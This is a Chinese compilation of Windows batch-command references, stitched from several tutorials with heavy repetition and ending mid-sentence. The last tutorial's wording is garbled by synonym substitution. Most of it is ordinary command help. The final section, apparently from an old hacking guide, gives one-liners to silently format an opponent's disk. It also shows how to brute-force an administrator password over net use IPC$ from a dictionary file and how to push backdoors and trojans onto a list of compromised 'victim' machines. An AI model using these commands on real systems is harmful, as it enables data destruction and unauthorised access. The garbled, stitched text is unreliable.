批处理命令大全
- 格式:doc
- 大小:52.00 KB
- 文档页数:14
批处理文件BAT的命令及使用1. echoecho命令用于在命令行窗口上显示文本或变量的内容。
用法:echo <文本>2. setset命令用于设置或显示环境变量。
用法:set <变量名称>=<值>3. ifif命令用于执行条件判断,根据条件的满足与否执行相应的操作。
用法:- 单个条件:if <条件> <命令>- 多个条件:if <条件1> <命令1> else if <条件2> <命令2> else <命令3>4. forfor命令用于循环操作,并可以对文件、文件夹、字符串等进行遍历操作。
用法:- 遍历文件/文件夹:for /r <路径> %变量 in (<通配符>) do <命令>- 数字循环:for /l %变量 in (<起始值>, <步长>, <结束值>) do<命令>5. callcall命令用于调用另一个批处理文件,并在调用完成后返回当前文件。
用法:call <批处理文件路径>6. startstart命令用于启动一个新的命令行窗口或程序,并可指定窗口标题、运行目录等选项。
用法:start <选项> <程序或文件路径>7. pausepause命令用于暂停批处理的执行,直到用户按下任意键才继续执行下一条命令。
用法:pause8. cdcd命令用于更改当前目录。
用法:cd <目录路径>9. mdmd命令用于创建一个新的目录。
用法:md <目录路径>10. deldel命令用于删除文件或文件夹。
用法:- 删除文件:del <文件路径>- 删除文件夹:del /s <文件夹路径>11. copycopy命令用于复制文件、文件夹或目录。
Cmd及批处理命令/帮助大全一.命令总汇ASSOC 显示或修改文件扩展名关联。
ATTRIB 显示或更改文件属性。
BREAK 设置或清除扩展式 CTRL+C 检查。
BCDEDIT 设置启动数据库中的属性以控制启动加载。
CACLS 显示或修改文件的访问控制列表(ACL)。
CALL 从另一个批处理程序调用这一个。
CD 显示当前目录的名称或将其更改。
CHCP 显示或设置活动代码页数。
CHDIR 显示当前目录的名称或将其更改。
CHKDSK 检查磁盘并显示状态报告。
CHKNTFS 显示或修改启动时间磁盘检查。
CLS 清除屏幕。
CMD 打开另一个 Windows 命令解释程序窗口。
COLOR 设置默认控制台前景和背景颜色。
COMP 比较两个或两套文件的内容。
COMPACT 显示或更改 NTFS 分区上文件的压缩。
CONVERT 将 FAT 卷转换成 NTFS。
您不能转换当前驱动器。
COPY 将至少一个文件复制到另一个位置。
DATE 显示或设置日期。
DEL 删除至少一个文件。
DIR 显示一个目录中的文件和子目录。
DISKCOMP 比较两个软盘的内容。
DISKCOPY 将一个软盘的内容复制到另一个软盘。
DISKPART 显示或配置磁盘分区属性。
DOSKEY 编辑命令行、调用 Windows 命令并创建宏。
DRIVERQUERY 显示当前设备驱动程序状态和属性。
ECHO 显示消息,或将命令回显打开或关上。
ENDLOCAL 结束批文件中环境更改的本地化。
ERASE 删除一个或多个文件。
EXIT 退出 CMD.EXE 程序(命令解释程序)。
FC 比较两个文件或两个文件集并显示它们之间的不同。
FIND 在一个或多个文件中搜索一个文本字符串。
FINDSTR 在多个文件中搜索字符串。
FOR 为一套文件中的每个文件运行一个指定的命令。
FORMAT 格式化磁盘,以便跟 Windows 使用。
FSUTIL 显示或配置文件系统的属性。
1 echo 和@回显控制命令@ #关闭单行回显echo off #从下一行开始关闭回显@echo off #从本行开始关闭回显。
一般批处理第一行都是这个echo on #从下一行开始打开回显echo #显示当前是echo off 状态还是echo on 状态echo. #输出一个"回车换行",一般就是指空白行echo hello world #输出hello world"关闭回显"是指运行批处理文件时,不显示文件里的每条命令,只显示运行结果批处理开始和结束时,系统都会自动打开回显2 errorlevel程序返回码echo %errorlevel%每个命令运行结束,可以用这个命令行格式查看返回码用于判断刚才的命令是否执行成功默认值为0,一般命令执行出错会设errorlevel 为13 dir显示目录中的文件和子目录列表dir #显示当前目录中的文件和子目录dir /a #显示当前目录中的文件和子目录,包括隐藏文件和系统文件dir c: /a:d #显示C 盘当前目录中的目录dir c:\ /a:-d #显示C 盘根目录中的文件dir d:\mp3 /b/p #逐屏显示d:\mp3 目录里的文件,只显示文件名,不显示时间和大小dir *.exe /s显示当前目录和子目录里所有的.exe文件其中* 是通配符,代表所有的文件名,还一个通配符? 代表一个任意字母或汉字如c*.* 代表以 c 开头的所有文件?.exe 代表所有文件名是一个字母的.exe文件如果指定的目录或文件不存在,将返回errorlevel 为1每个文件夹的dir 输出都会有2个子目录. 和... 代表当前目录.. 代表当前目录的上级目录dir . #显示当前目录中的文件和子目录dir .. #显示当前目录的上级目录中的文件和子目录其它参数可参考dir /?4 cd更改当前目录cd mp3 #进入当前目录中的mp3 目录cd .. #进入当前目录中的上级目录cd\ #进入根目录cd #显示当前目录cd /d d:\mp3 #可以同时更改盘符和目录cd\"Documents and Settings"\All users文件名带空格,可以不加引号建议加上引号,因为有的时候不加引号会运行出错,如登录脚本如果更改到的目录不存在,则出错返回errorlevel=15 md创建目录md abc #在当前目录里建立子目录abcmd d:\a\b\c #如果d:\a 不存在,将会自动创建6 rd删除目录rd abc #删除当前目录里的abc 子目录,要求为空目录rd /s/q d:\temp #删除d:\temp 文件夹及其子文件夹和文件,不需要按Y 确认7 del删除文件del d:\test.txt #删除指定文件,不能是隐藏、系统、只读文件del *.*删除当前目录里的所有文件,不包括隐藏、系统、只读文件,要求按Y 确认del /q/a/f d:\temp\*.*删除d:\temp 文件夹里面的所有文件,包括隐藏、只读、系统文件,不包括子目录del /q/a/f/s d:\temp\*.*删除d:\temp 及子文件夹里面的所有文件,包括隐藏、只读、系统文件,不包括子目录8 ren文件重命名ren 1.txt 2.bak #把1.txt 更名为2.bakren *.txt *.ini #把当前目录里所有.txt文件改成.ini文件ren d:\temp tmp #支持对文件夹的重命名9 cls清屏10 type显示文件内容type c:\boot.ini #显示指定文件的内容,程序文件一般会显示乱码type *.txt #显示当前目录里所有.txt文件的内容11 copy拷贝文件copy c:\test.txt d:\复制c:\test.txt 文件到d:\copy c:\test.txt d:\test.bak复制c:\test.txt 文件到d:\ ,并重命名为test.bakcopy c:\*.*复制c:\ 所有文件到当前目录,不包括隐藏文件和系统文件不指定目标路径,则默认目标路径为当前目录copy con test.txt从屏幕上等待输入,按Ctrl+Z 结束输入,输入内容存为test.txt文件con代表屏幕,prn代表打印机,nul代表空设备copy 1.txt + 2.txt 3.txt合并1.txt 和 2.txt 的内容,保存为3.txt 文件如果不指定3.txt ,则保存到1.txtcopy test.txt +复制文件到自己,实际上是修改了文件日期12 title设置cmd窗口的标题title 新标题#可以看到cmd窗口的标题栏变了13 ver显示系统版本14 label 和vol设置卷标vol #显示卷标label #显示卷标,同时提示输入新卷标label c:system #设置C盘的卷标为system15 pause暂停命令运行该命令时,将显示下面的消息:请按任意键继续. . .一般用于看清楚屏幕上显示的内容16 rem 和::注释命令注释行不执行操作17 date 和time日期和时间date #显示当前日期,并提示输入新日期,按"回车"略过输入date/t #只显示当前日期,不提示输入新日期time #显示当前时间,并提示输入新时间,按"回车"略过输入time/t #只显示当前时间,不提示输入新时间18 goto 和:跳转命令:label #行首为:表示该行是标签行,标签行不执行操作goto label #跳转到指定的标签那一行19 find (外部命令)查找命令find "abc" c:\test.txt在c:\test.txt 文件里查找含abc 字符串的行如果找不到,将设errorlevel 返回码为1find /i "abc" c:\test.txt查找含abc 的行,忽略大小写find /c "abc" c:\test.txt显示含abc 的行的行数20 more (外部命令)逐屏显示more c:\test.txt #逐屏显示c:\test.txt 的文件内容21 tree显示目录结构tree d:\ #显示D盘的文件目录结构22 &顺序执行多条命令,而不管命令是否执行成功c: & cd\ & dir /w相当于把下面3行命令写到1行去了c:cd\dir /w23 &&顺序执行多条命令,当碰到执行出错的命令后将不执行后面的命令f: && cd\ && dir >c:\test.txt注意如果f盘不存在,那么后面2条命令将不会执行find "ok" c:\test.txt && echo 成功如果找到了"ok"字样,就显示"成功",找不到就不显示24 ||顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令f: || e:如果有f盘就不进入e盘find "ok" c:\test.txt || echo 不成功如果找不到"ok"字样,就显示"不成功",找到了就不显示25 |管道命令前一个命令的执行结果输出到后一个命令dir *.* /s/a | find /c ".exe"管道命令表示先执行dir 命令,对其输出的结果执行后面的find 命令该命令行结果:输出当前文件夹及所有子文件夹里的.exe文件的个数type c:\test.txt|more这个和more c:\test.txt 的效果是一样的26 > 和>>输出重定向命令> 清除文件中原有的内容后再写入>> 追加内容到文件末尾,而不会清除原有的内容主要将本来显示在屏幕上的内容输出到指定文件中指定文件如果不存在,则自动生成该文件echo hello world>c:\test.txt生成c:\test.txt文件,内容为hello world这个格式在批处理文件里用得很多,可以生成.reg .bat .vbs 等临时文件type c:\test.txt >prn屏幕上不显示文件内容,转向输出到打印机echo hello world>con在屏幕上显示hello world,实际上所有输出都是默认>con 的copy c:\test.txt f: >nul拷贝文件,并且不显示"文件复制成功"的提示信息,但如果f盘不存在,还是会显示出错信息copy c:\test.txt f: >nul 2>nul不显示"文件复制成功"的提示信息,并且f盘不存在的话,也不显示错误提示信息echo ^^W ^> ^W>c:\test.txt生成的文件内容为^W > W^ 和> 是控制命令,要把它们输出到文件,必须在前面加个^ 符号27 <从文件中获得输入信息,而不是从屏幕上一般用于date time label 等需要等待输入的命令@echo offecho 2005-05-01>temp.txtdate <temp.txtdel temp.txt这样就可以不等待输入直接修改当前日期28 %0 %1 %2 %3 %4 %5 %6 %7 %8 %9 %*命令行传递给批处理的参数%0 批处理文件本身%1 第一个参数%9 第九个参数%* 从第一个参数开始的所有参数在C盘根目录新建test.bat,内容如下:@echo offecho %0echo %1echo %2echo %*运行cmd,输入c:\test.bat "/a" /b /c /d可以看出每个参数的含意修改test.bat内容如下@echo offecho %1echo %~1echo %0echo %~f0echo %~d0echo %~p0echo %~n0echo %~x0echo %~s0echo %~a0echo %~t0echo %~z0再运行cmd,输入c:\test.bat "/a" /b /c /d可以参照call/? 或for/? 看出每个参数的含意注意这里可以对文件进行日期比较和大小比较echo load "%%1" "%%2">c:\test.txt生成的文件内容为load "%1" "%2"批处理文件里,用这个格式把命令行参数输出到文件29 if判断命令if "%1"=="/a" echo 第一个参数是/aif /i "%1" equ "/a" echo 第一个参数是/a/i 表示不区分大小写,equ 和== 是一样的,其它运算符参见if/? if exist c:\test.bat echo 存在c:\test.bat文件if not exist c:\windows (echo 不存在c:\windows文件夹rem 有多条命令可用小括号括起来,称为"复合语句"rem 行前的空格是为了看起来条理清楚)if exist c:\test.bat (echo 存在c:\test.bat) else (echo 不存在c:\test.batrem else表示"否则",判断结果为假时执行其后的命令)30 setlocal 和endlocal设置"命令扩展名"和"延缓环境变量扩充"SETLOCAL ENABLEEXTENSIONS #启用"命令扩展名"SETLOCAL DISABLEEXTENSIONS #停用"命令扩展名"SETLOCAL ENABLEDELAYEDEXPANSION #启用"延缓环境变量扩充" SETLOCAL DISABLEDELAYEDEXPANSION #停用"延缓环境变量扩充" ENDLOCAL #恢复到使用SETLOCAL语句以前的状态"命令扩展名"默认为启用"延缓环境变量扩充"默认为停用批处理结束系统会自动恢复默认值可以修改注册表以禁用"命令扩展名",详见cmd /? 。
批处理常用命令及用法大全阅读下面文字需要一定的dos基础概念,象:盘符、文件、目录(文件夹)、子目录、根目录、当前目录每个命令的完整说明请加 /? 参数参考微软的帮助文档可以看到,在 /? 帮助里,"命令扩展名"一词会经常出现"命令扩展名"是指相对于win98的dos版本而言,每个命令新增的功能命令测试环境win2000proSP4win98的命令功能太少,就不作研究了注:如果对某一命令还不是很熟悉,可以在命令行窗口下输入:命令名/?的方式来获得帮助。
例如:对dir命令的应用不熟悉,可以在命令行窗口下输入:dir /?1 echo 和 @回显控制命令@ #关闭单行回显echo off #从下一行开始关闭回显@echo off #从本行开始关闭回显。
一般批处理第一行都是这个echo on #从下一行开始打开回显echo #显示当前是 echo off 状态还是echo on 状态echo. #输出一个"回车换行",一般就是指空白行echo hello world #输出hello world"关闭回显"是指运行批处理文件时,不显示文件里的每条命令,只显示运行结果批处理开始和结束时,系统都会自动打开回显2 errorlevel程序返回码echo %errorlevel%每个命令运行结束,可以用这个命令行格式查看返回码用于判断刚才的命令是否执行成功默认值为0,一般命令执行出错会设 errorlevel 为13 dir显示目录中的文件和子目录列表dir #显示当前目录中的文件和子目录dir /a #显示当前目录中的文件和子目录,包括隐藏文件和系统文件dir c: /a:d #显示 C 盘当前目录中的目录dir c:\ /a:-d #显示 C 盘根目录中的文件dir d:\mp3 /b/p #逐屏显示 d:\mp3 目录里的文件,只显示文件名,不显示时间和大小dir *.exe /s显示当前目录和子目录里所有的.exe文件其中 * 是通配符,代表所有的文件名,还一个通配符 ? 代表一个任意字母或汉字如 c*.* 代表以 c 开头的所有文件?.exe 代表所有文件名是一个字母的.exe文件如果指定的目录或文件不存在,将返回 errorlevel 为1;每个文件夹的 dir 输出都会有2个子目录 . 和 ... 代表当前目录.. 代表当前目录的上级目录dir . #显示当前目录中的文件和子目录dir .. #显示当前目录的上级目录中的文件和子目录其它参数可参考 dir /?4 cd更改当前目录cd mp3 #进入当前目录中的mp3 目录cd .. #进入当前目录中的上级目录cd\ #进入根目录cd #显示当前目录cd /d d:\mp3 #可以同时更改盘符和目录cd "Documents and Settings"\All users文件名带空格,路径前需要加上引号!!如果更改到的目录不存在,则出错返回 errorlevel=15 md创建目录md abc #在当前目录里建立子目录 abcmd d:\a\b\c #如果 d:\a 不存在,将会自动创建6 rd删除目录rd abc #删除当前目录里的 abc 子目录,要求为空目录rd /s/q d:\temp #删除 d:\temp 文件夹及其子文件夹和文件,不需要按 Y 确认7 del删除文件del d:\test.txt #删除指定文件,不能是隐藏、系统、只读文件del *.*删除当前目录里的所有文件,不包括隐藏、系统、只读文件,要求按 Y 确认del /q/a/f d:\temp\*.*删除 d:\temp 文件夹里面的所有文件,包括隐藏、只读、系统文件,不包括子目录del /q/a/f/s d:\temp\*.*删除 d:\temp 及子文件夹里面的所有文件,包括隐藏、只读、系统文件,不包括子目录8 ren文件重命名ren 1.txt 2.bak #把 1.txt 更名为 2.bakren *.txt *.ini #把当前目录里所有.txt文件改成.ini文件ren d:\temp tmp #支持对文件夹的重命名9 cls清屏10 type显示文件内容type c:\boot.ini #显示指定文件的内容,程序文件一般会显示乱码type *.txt #显示当前目录里所有.txt文件的内容11 copy拷贝文件copy c:\test.txt d:\复制 c:\test.txt 文件到 d:\ copy c:\test.txt d:\test.bak复制 c:\test.txt 文件到d:\ ,并重命名为 test.bakcopy c:\*.*复制 c:\ 所有文件到当前目录,不包括隐藏文件和系统文件不指定目标路径,则默认目标路径为当前目录copy con test.txt从屏幕上等待输入,按 Ctrl+Z 结束输入,输入内容存为test.txt文件con代表屏幕,prn代表打印机,nul代表空设备copy 1.txt + 2.txt 3.txt合并 1.txt 和 2.txt 的内容,保存为 3.txt 文件如果不指定 3.txt ,则保存到 1.txt copy test.txt +复制文件到自己,实际上是修改了文件日期12 title设置cmd窗口的标题title 新标题 #可以看到cmd窗口的标题栏变了13 ver显示系统版本14 label 和 vol设置卷标vol #显示卷标label #显示卷标,同时提示输入新卷标label c:system #设置C盘的卷标为 system15 pause暂停命令运行该命令时,将显示下面的消息:请按任意键继续 . . . 一般用于看清楚屏幕上显示的内容16 rem 和 ::注释命令注释行不执行操作17 date 和 time日期和时间date #显示当前日期,并提示输入新日期,按"回车"略过输入date/t #只显示当前日期,不提示输入新日期time #显示当前时间,并提示输入新时间,按"回车"略过输入time/t #只显示当前时间,不提示输入新时间18 goto 和 :跳转命令:label #行首为:表示该行是标签行,标签行不执行操作goto label #跳转到指定的标签那一行19 find (外部命令)查找命令find "abc" c:\test.txt在 c:\test.txt 文件里查找含abc 字符串的行如果找不到,将设 errorlevel 返回码为1 find /i "abc" c:\test.txt查找含 abc 的行,忽略大小写find /c "abc" c:\test.txt显示含 abc 的行的行数20 more (外部命令)逐屏显示more c:\test.txt #逐屏显示 c:\test.txt 的文件内容21 tree显示目录结构tree d:\ #显示D盘的文件目录结构22 &顺序执行多条命令,而不管命令是否执行成功c: & cd\ & dir /w相当于把下面3行命令写到1行去了c:cd\dir /w23 &&顺序执行多条命令,当碰到执行出错的命令后将不执行后面的命令f: && cd\ && dir >c:\test.txt注意如果f盘不存在,那么后面2条命令将不会执行find "ok" c:\test.txt && echo 成功如果找到了"ok"字样,就显示"成功",找不到就不显示24 ||顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令find "ok" c:\test.txt || echo 不成功如果找不到"ok"字样,就显示"不成功",找到了就不显示25 |管道命令前一个命令的执行结果输出到后一个命令dir *.* /s/a | find /c ".exe"管道命令表示先执行 dir 命令,对其输出的结果执行后面的 find 命令该命令行结果:输出当前文件夹及所有子文件夹里的.exe文件的个数type c:\test.txt|more这个和 more c:\test.txt 的效果是一样的26 > 和 >>输出重定向命令> 清除文件中原有的内容后再写入>> 追加内容到文件末尾,而不会清除原有的内容主要将本来显示在屏幕上的内容输出到指定文件中指定文件如果不存在,则自动生成该文件echo hello world>c:\test.txt生成c:\test.txt文件,内容为hello world这个格式在批处理文件里用得很多,可以生成.reg .bat .vbs 等临时文件type c:\test.txt >prn屏幕上不显示文件内容,转向输出到打印机echo hello world>con在屏幕上显示hello world,实际上所有输出都是默认 >con 的copy c:\test.txt f: >nul拷贝文件,并且不显示"文件复制成功"的提示信息,但如果f盘不存在,还是会显示出错信息copy c:\test.txt f: >nul 2>nul不显示"文件复制成功"的提示信息,并且f盘不存在的话,也不显示错误提示信息echo ^^W ^> ^W>c:\test.txt生成的文件内容为 ^W > W^ 和 > 是控制命令,要把它们输出到文件,必须在前面加个 ^符号27 <从文件中获得输入信息,而不是从屏幕上一般用于 date time label 等需要等待输入的命令@echo offecho 2005-05-01>temp.txtdate <temp.txtdel temp.txt这样就可以不等待输入直接修改当前日期28 %0 %1 %2 %3 %4 %5 %6 %7 %8 %9 %*命令行传递给批处理的参数%0 批处理文件本身%1 第一个参数%9 第九个参数%* 从第一个参数开始的所有参数在C盘根目录新建test.bat,内容如下:@echo offecho %0echo %1echo %2echo %*运行cmd,输入 c:\test.bat "/a" /b /c /d可以看出每个参数的含意修改test.bat内容如下@echooffecho %1echo %~1echo %0echo %~f0echo %~d0echo %~p0echo %~n0echo %~x0echo %~s0echo %~a0echo %~t0echo %~z0再运行cmd,输入 c:\test.bat "/a" /b /c /d可以参照call/? 或 for/? 看出每个参数的含意注意这里可以对文件进行日期比较和大小比较echo load "%%1" "%%2">c:\test.txt生成的文件内容为load "%1" "%2"批处理文件里,用这个格式把命令行参数输出到文件31 set设置变量引用变量可在变量名前后加 % ,即 %变量名%set #显示目前所有可用的变量,包括系统变量和自定义的变量echo %SystemDrive% #显示系统盘盘符。
b a t批处理命令大全 Revised by Petrel at 2021从简单学起echo、@、call、pause、rem 是批处理文件最常用的几个命令,我们就从他们开始学起。
echo 表示显示此命令后的字符echo off 表示在此语句后所有运行的命令都不显示命令行本身@ 与echo off相象,但它是加在其它命令行的最前面,表示运行时不显示命令行本身。
call 调用另一条批处理文件(如果直接调用别的批处理文件,执行完那条文件后将无法执行当前文件后续命令)pause 运行此句会暂停,显示Press any key to continue... 等待用户按任意键后继续rem 表示此命令后的字符为解释行,不执行,只是给自己今后查找用的批处理命令大全(一)第一部分:批处理的专用命令批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT。
这些命令统称批处理命令,下面我就来给大家介绍一下批处理的命令。
1、 REMREM 是个注释命令一般是用来给程序加上注解的,该命令后的内容在程序执行的时候将不会被显示和执行。
例:REM 你现在看到的就是注解,这一句将不会被执行。
在以后的例子中解释的内容都REM 会放在REM后面。
请大家注意。
2、 ECHOECHO 是一个回显命令主要参数有OFF和 ON,一般用ECHO message来显示一个特定的消息。
例:Echo offRem 以上代表关闭回显即不显示所执行的命令Echo 这个就是消息。
Rem 以上代表显示“这就是消息”这列字符执行结果:C:\>这个就是消息。
3、 GOTOGOTO 即为跳转的意思。
在批处理中允许以“:XXX”来构建一个标号然后用GOTO :标号直接来执行标号后的命令。
例:LABELREM 上面就是名为LABEL的标号。
DIR C:\DIR D:\GOTO LABELREM 以上程序跳转标号LABEL处继续执行。
批处理文件BAT命令大全之邯郸勺丸创作1.Echo 命令打开回显或封闭请求回显功效,或显示消息.如果没有任何参数,echo 命令将显示当前回显设置.语法echo [{on│off}] [message]Sample:@echo off / echo hello world在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格局的文件中.这将在以后的例子中体现出来.2.@ 命令暗示不显示@ 后面的命令,在入侵过程中(例如使用批处理来格局化敌人的硬盘)自然不克不及让对方看到你使用的命令啦 . Sample:@echo off@echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 这个命令是不成以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的.)3.Goto 命令指定跳转到标签,找到标签后,程序将处理从下一行开始的命令.语法:goto label (label是参数,指定所要转向的批处理程序中的行.)Sample:if {%1}=={} goto noparmsif {%2}=={} goto noparms(如果这里的if、%1、%2就是暗示变量.)@Rem check parameters if null show usage:noparmsecho Usage: monitor.bat ServerIP PortNumbergoto end标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来暗示这个字母是标签, : 开头的字符行 , 在批处理中都被视作标号 , 而直接忽略其后的所有内容 , 只是为了与正常的标号相区别 , 建议使用 goto 所无法识此外标号 , 即在 : 后紧跟一个非字母数字的一个特殊符号 . goto 命令就是按照这个:来寻找下一步跳到到那里.最好有一些说明这样你他人看起来才会理解你的意图啊.4.Rem 命令注释命令,起一个注释的作用,便于他人阅读和你自己日后修改. Rem MessageSample:@Rem Here is the description.5.Pause 命令运行 Pause 命令时,将显示下面的消息:Press any key to continue . . .Sample:@echo off:begincopy a:*.* d: \backecho Please put a new disk into driver Apausegoto begin在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back 中.显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您改换磁盘,然后按任意键继续处理.6.Call 命令从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序.call 命令接受用作调用目标的标签.如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用.语法call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]参数[Drive:}[Path] FileName指定要调用的批处理程序的位置和名称.filename 参数必须具有 .bat 或 .cmd 扩展名.7.start 命令调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用.入侵经常使用参数:MIN 开始时窗口最小化SEPARATE 在分隔的空间内开始 16 位 Windows 程序HIGH 在 HIGH 优先级类别开始应用程序REALTIME 在 REALTIME 优先级类别开始应用程序WAIT 启动应用程序并等候它结束parameters 这些为传送到命令/程序的参数执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就前往命令提示.如果在命令脚本内执行,该新行为则不会产生.8.choice 命令choice 使用此命令可以让用户输入一个字符,从而运行不合的命令.使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格.它的前往码为 1234......如 : choice /c:dme defrag,mem,end将显示defrag,mem,end[D,M,E]?Sample:Sample.bat的内容如下 :@echo offchoice /c:dme defrag,mem,endif errorlevel 3 goto defrag (应先判断数值最高的错误码)if errorlevel 2 goto memif errotlevel 1 goto end:defragc:\dos\defraggoto end:memmemgoto end:endecho good bye此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择 d m e ,然后if语句将作出判断,d暗示执行标号为defrag的程序段,m暗示执行标号为mem的程序段,e暗示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束.9.If 命令if 暗示将判断是否合适规定的条件,从而决定执行不合的命令. 有三种格局 :a、if "参数" == "字符串" 待执行的命令参数如果等于指定的字符串,则条件成立,运行命令,不然运行下一句.(注意是两个等号)如 if "%1"=="a" format a:if {%1}=={} goto noparmsif {%2}=={} goto noparmsb 、if exist 文件名待执行的命令如果有指定的文件,则条件成立,运行命令,不然运行下一句.c 、if errorlevel / if not errorlevel 数字待执行的命令如果前往码等于指定的数字,则条件成立,运行命令,不然运行下一句.如if errorlevel 2 goto x2DOS程序运行时都会前往一个数字给DOS,称为错误码errorlevel 或称前往码,罕见的前往码为0、1.10.for 命令for 命令是一个比较庞杂的命令,主要用于参数在指定的规模内循环执行命令.在批处理文件中使用 FOR 命令时,指定变量请使用 %%variablefor {%variable│%%variable} in (set) do command [ CommandLineOptions]%variable 指定一个单一字母可替换的参数.(set) 指定一个或一组文件.可以使用通配符.command 指定对每个文件执行的命令.command-parameters 为特定命令指定参数或命令行开关.在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable而不要用 %variable.变量名称是区分大小写的,所以 %i 不合于 %I如果命令扩展名被启用,下列额定的 FOR 命令格局会受到支持: FOR /D %variable IN (set) DO command [command-parameters]如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配. FOR /R [[drive:]path] %variable IN (set) DO command [command-检查以 [drive:]path 为根的目录树,指向每个目录中的 FOR 语句.如果在 /R 后没有指定目录,则使用当前目录.如果集仅为一个单点(.)字符,则枚举该目录树.FOR /L %variable IN (start,step,end) DO command [command-para该集暗示以增量形式从开始到结束的一个数字序列.因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生序列 (5 4 3 2 1). FOR /F ["options"] %variable IN (file-set) DO commandFOR /F ["options"] %variable IN ("string") DO commandFOR /F ["options"] %variable IN ('command') DO command或者,如果有 usebackq 选项:FOR /F ["options"] %variable IN (file-set) DO commandFOR /F ["options"] %variable IN ("string") DO commandFOR /F ["options"] %variable IN ('command') DO command filenameset 为一个或多个文件名.继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读取并经过处理.处理包含读取文件,将其分红一行行的文字,然后将每行解析成零或更多的符号.然后用已找到的符号字符串变量值调用 For 循环.以默认方法,/F 通过每个文件的每一行中分隔的第一个空白符号.跳过空白行.您可通过指定可选 "options" 参数替代默认解析操纵.这个带引号的字符串包含一个或多个指定不合解析选项的关头字.这些关头字为:eol=c - 指一个行注释字符的结尾(就一个 )skip=n - 指在文件开始时忽略的行数.delims=xxx - 指分隔符集.这个替换了空格和跳格键的默认分隔符集.tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 自己.这会导致额定变量名称的格局为一个规模.通过 nth 符号指定 m 符号字符串中的最后一个字符星号, 那么额定的变量将在最后一个符号解析之分派并接受行的保存文本.usebackq - 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi 中使用双引号扩起文件名称.sample1:FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command会阐发 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号.请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k 来取得第三个符号后的所有剩余符号.对于带有空格的文件名,您需要用双引号将文件名括起来.为了用这种方法来使用双引号,您还需要使用usebackq 选项,不然,双引号会被理解成是用作定义某个要阐发的字符串的.%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的.您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或'Z' 的变量.请记住,FOR 变量是单一字母、分大小写和全局的;同时不克不及有 52 个以上都在使用中.您还可以在相邻字符串上使用 FOR /F 阐发逻辑;办法是,用单引号将括号之间的 filenameset 括起来.这样,该字符串会被当作一个文件中的一个单一输入行.最后,您可以用 FOR /F 命令来阐发命令的输出.办法是,将括号之间的 filenameset 酿成一个反括字符串.该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件阐发.因此,以下例子:FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i会枚举当前环境中的环境变量名称.另外,FOR 变量参照的替换已被增强.您现在可以使用下列选项语法:~I - 删除任何引号("),扩充 %I%~fI - 将 %I 扩充到一个完全合格的路径名%~dI - 仅将 %I 扩充到一个驱动器号%~pI - 仅将 %I 扩充到一个路径%~nI - 仅将 %I 扩充到一个文件名%~xI - 仅将 %I 扩充到一个文件扩展名%~sI - 扩充的路径只含有短名%~aI - 将 %I 扩充到文件的文件属性%~tI - 将 %I 扩充到文件的日期/时间%~zI - 将 %I 扩充到文件的大小%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称.如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串可以组合修饰符来得到多重结果:%~dpI - 仅将 %I 扩充到一个驱动器号和路径%~nxI - 仅将 %I 扩充到一个文件名和扩展名%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径.%~ftzaI - 将 %I 扩充到类似输出线路的 DIR在以上例子中,%I 和 PATH 可用其他有效数值代替.%~ 语法用一个有效的 FOR 变量名终止.选取类似 %I 的大写变量名比较易读,并且避免与不分大小写的组合键混淆.以上是MS的官方帮忙,下面我们举几个例子来具体说明一下For 命令在入侵中的用途.sample2 :利用For命令来实现对一台目标Win2k主机的暴力密码破解.我们用net use \\ip\ipc$ "password" /u:"administrator"来测验考试这和目标主机进行连接,当成功时记下密码.最主要的命令是一条: for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"用i%来暗示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接.然后将程序运行结果传递给find命令--for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ": 命令成功完成">>D:\ok.txt ,这样就ko了.sample3 :你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:).文章开头就谈到使用批处理文件,可以简化日常或重复性任务.那么如何实现呢?呵呵,看下去你就会明白了.主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%ktokens的用法请拜见上面的sample1,在这里它暗示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k.而cultivate.bat无非就是用net 